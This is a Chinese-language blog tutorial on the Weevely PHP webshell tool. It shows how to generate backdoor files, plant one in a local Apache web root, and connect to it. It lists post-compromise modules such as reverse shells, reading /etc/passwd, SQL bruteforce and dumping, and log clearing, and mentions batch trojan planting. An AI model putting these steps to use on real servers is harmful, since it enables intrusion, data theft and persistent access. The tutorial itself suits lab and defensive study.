Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)

一、下载与安装

如果是Kali低版本

  • 百度云下载:https://pan.baidu.com/s/1XzkeuwHfa1S6Rkc5yTzjNg(提取码:3y3c )
  • 下载之后解压,使用里面的weevely.py

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第1张图片

如果是Kali高版本

  • Kali会自带该工具,无需下载

二、Weevely工具介绍

  • weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的,就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具

三、基本命令格式与使用方法

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第2张图片

①新建一个远程控制文件

新生成的文件格式只能是下面的一种:

  • *.php:(生成php后门文件)
  • *.img:(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析)
  • *.htaccess:(将后门代码插入到.htaccess,该后门需要使用同样需要服务器开启.htaccess。生成的.htaccess里包含了php后门语句,同时使用相关配置使得web服务器对该文件进行php解析)
//新建一个远程控制文件,文件使用密码password,path为生成的文件位置

weevely generate  

②连接一个session会话

  • 备注:使用所设置的密码连接所给的后门url,连接成功后,会将连接配置信息以session文件的形式保存在本地,下次需要再次连接时可直接读取session文件进行连接
//连接一个曾经连接过的session会话

weevely session  [cmd]
  • [cmd]参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接(直接命令执行有助于批量webshell处理,批量挂马或者操作等等)

 ③连接一个远程控制文件

//连接一个远程的URL开启远程控制,使用远程控制文件密码password,[cmd]为命令可选

weevely   [cmd]
  • [cmd]参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接(直接命令执行有助于批量webshell处理,批量挂马或者操作等等) 

四、渗透之后的命令

  • 当我们渗透到对方服务器之后,想相当于开启了一个shell,不仅可以输入命令来执行对方的系统。weevely还提供了连接之后可以使用下面如下命令

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第3张图片

:audit_disablefunctionbypass  Bypass disable_function restrictions with mod_cgi and .htaccess.
 :audit_suidsgid               Find files with SUID or SGID flags.
 :audit_filesystem             Audit the file system for weak permissions.
 :audit_etcpasswd              Read /etc/passwd with different techniques.
 :audit_phpconf                Audit PHP configuration.
 :bruteforce_sql               Bruteforce SQL database.
 :system_procs                 List running processes.
 :system_info                  Collect system information.
 :system_extensions            Collect PHP and webserver extension list.
 :backdoor_meterpreter         Start a meterpreter session.
 :backdoor_tcp                 Spawn a shell on a TCP port.
 :backdoor_reversetcp          Execute a reverse TCP shell.
 :shell_su                     Execute commands with su.
 :shell_php                    Execute PHP commands.
 :shell_sh                     Execute shell commands.
 :file_find                    Find files with given names and attributes.
 :file_bzip2                   Compress or expand bzip2 files.
 :file_touch                   Change file timestamp.
 :file_tar                     Compress or expand tar archives.
 :file_webdownload             Download an URL.
 :file_mount                   Mount remote filesystem using HTTPfs.
 :file_cd                      Change current working directory.
 :file_edit                    Edit remote file on a local editor.
 :file_ls                      List directory content.
 :file_check                   Get attributes and permissions of a file.
 :file_upload                  Upload file to remote filesystem.
 :file_zip                     Compress or expand zip files.
 :file_download                Download file from remote filesystem.
 :file_clearlog                Remove string from a file.
 :file_upload2web              Upload file automatically to a web folder and get corresponding URL.
 :file_read                    Read remote file from the remote filesystem.
 :file_gzip                    Compress or expand gzip files.
 :file_rm                      Remove remote file.
 :file_grep                    Print lines matching a pattern in multiple files.
 :file_enum                    Check existence and permissions of a list of paths.
 :file_cp                      Copy single file.
 :sql_dump                     Multi dbms mysqldump replacement.
 :sql_console                  Execute SQL query or run console.
 :net_ifconfig                 Get network interfaces addresses.
 :net_mail                     Send mail.
 :net_proxy                    Run local proxy to pivot HTTP/HTTPS browsing through the target.
 :net_phpproxy                 Install PHP proxy on the target.
 :net_curl                     Perform a curl-like HTTP request.
 :net_scan                     TCP Port scan.

五、3种控制方式演示案例

  • 此处我们以Kali默认的Apache2服务器为例,将其作为我们的渗透控制目标
  • Apache2服务器的配置文件为/etc/apache2/sites-enabled/000-default
  • Apache2服务器的根目录为/var/www/html/
  • Apache2服务器的端口为80

使用.php文件远程控制

  • 第一步:使用weevely命令生成一个远程控制文件backdoor.php,该文件使用的密码为字符串“hello”

  • 查看一下文件的内容

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第4张图片

  • 第二步:将该backdoor.php文件通过方法移动到Apache2服务器的根目录/var/www/html/

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第5张图片

  • 第三步:通过weevely命令进行连接我们的远程控制文件(文件密码为字符串hello)
  • 可以看到渗透成功,并且可以执行命令了

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第6张图片

演示连接时附加cmd参数

  • 附加cmd参数时,只执行一次命令就结束,不建立长久连接

使用.img文件控制

  • 待续,需要开启服务端的.htaccess,暂时还不会,待更新

使用.htaccess文件控制

  • 待续,需要开启服务端的.htaccess,暂时还不会,待更新

六、控制之后常用的命令

:audit.phpconf

  • 查看php配置信息

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第7张图片

:audit_etcpasswd [-real]

  • 查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第8张图片

:shell.sh、:shell.php

  • 利用接口执行命令,和虚拟终端类似,这里就不给演示了

:system.info

  • 在weevely里比较由用的一个模块,可以获取到系统的基本信息

Kali(渗透工具):21---Weevely工具使用详解 (php菜刀)_第9张图片

:backdoor.reverstcp host port [-vector]

  • 反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等)

:backdoor.tcp -port -no-connect [-vector]

  • 在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路)

:file.upload lpath rpath

  • 上传本地文件到目标站点指定路径(可能会因为权限不足上传失败)
  • lpath:为本次文件的文件路径
  • rpath:为攻击目标的存放文件路径

:file.rm filename [-recursive] [-vector]

  • 删除指定文件,可开启安全确认模式

:file.check

  • 用以检查目标站点下文件的状态(md5值,大小,权限等)

:file.download rpath lpath [-vector]

  • 将目标站点上的文件下载到本地(可用于批量会话操作)

其他:

  • -file.edit filename-对指定文件进行编辑

  • -file.read filename-读取指定文件内容

  • -file.ls path-列觉指定路径的文件信息
  • -file.upload2web-将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入)
  • -file.webdownload filename-从其他服务器上下载文件到目标站点
  • -file.touch rpath-创建一个新文件下面几个命令由于环境限制,没有进行测试,这里就不再啰嗦了
  • -bruteforce.sql(爆破指定数据库用户名密码)
  • -bruteforce.sqlusers(爆破所有数据库用户密码)
  • -sql.dump(脱裤,你懂的 ^_^)
  • -sql.console(sql交互式终端)
  • -net.scan(端口扫描,不太会用)
  • -find.perms(搜索具有读、写、执行权限的文件,好像比较给力)
  • -find.suidsgid(搜索linux具有suid或者sgid标记的文件)    
  • -find.name(查找某文件或者文件夹)

七、使用案例

  • 见文章:https://blog.csdn.net/qq_41453285/article/details/100986719

你可能感兴趣的:(Kali(渗透工具))